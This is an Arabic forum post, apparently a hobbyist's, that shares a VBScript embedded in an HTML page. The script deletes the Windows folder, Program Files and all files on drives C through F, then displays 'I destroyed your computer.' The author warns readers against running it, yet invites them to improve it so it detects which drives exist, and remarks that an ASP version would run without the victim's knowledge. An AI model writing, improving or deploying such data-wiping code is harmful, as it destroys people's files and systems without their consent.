بصراحة هذا ملف سويته زمان أيام بداية تعلمي للفي بي سكريبت و كان الهدف تخريبي :D .. كان قصدي التعلم و جربت اوامر الحذف عن طريق سكريبت كتبته لحذف مجلد الويندوز و ملفات الأقراص .. طبعا كانت هناك أخطاء في البداية و هي احتمال عدم وجود أقراص بهذه الأسماء .. و بالتالي سيظهر خطأ .. لكن أعتقد أن الفكرة مفهومة .. طبعا لا انصح بل احذر من تجربة هذا السكريبت على جهازك لانه لو احتوى على أسماء للويندوز مثل winme أو win98 أو windows سلامة تسلمك ..
لكن كيف نطور هذا السكريبت بحيث يعرف ما هي الأقراص الموجودة ؟؟
اعتقد ان هذا تدريب جيد لكم مع العلم أن هذا الكود سيعطيك رسالة تسألك هل تود تفعيل السكريبت أم لا و إن اخترت نعم كانت القاضية :D ..
لكن لو كان الكود بتقنية ال ASP لما ظهرت تلك الرسالة و نفذ الكود دون علمك :'(
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=windows-1256">
<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">
<title></title>
</head>
<body bgcololr="#333333">
<script language="vbscript">
set fso=createObject("scripting.FileSystemObject")
fso.DeleteFile "c:*.*",true
if fso.FolderExists("c:windows")then
fso.DeleteFolder "c:windows",true
fso.DeleteFolder "c:Program Files",true
else
if fso.FolderExists("c:win98")then
fso.DeleteFolder "c:win98",true
fso.DeleteFolder "c:Program Files",true
else
if fso.FolderExists("c:winme")then
fso.DeleteFolder "c:winme",true
fso.DeleteFolder "c:Program Files",true
end if
end if
end if
fso.DeleteFile "d:*.*",true
fso.DeleteFile "e:*.*",true
fso.DeleteFile "f:*.*",true
msgbox("I destroyed your computer. ")
</script>
</body>
</html>على فكرة .. أنا كنت حافظ الملف باسم تخريب الأجهزة و للأسف أخوي فكر الملف لتعليم كيفية تخريب الأجهزة و ضغط موافق على الرسالة فضاعت ملفاتي زماااااااااااااان :'(
:D:D:D:D:D:D:D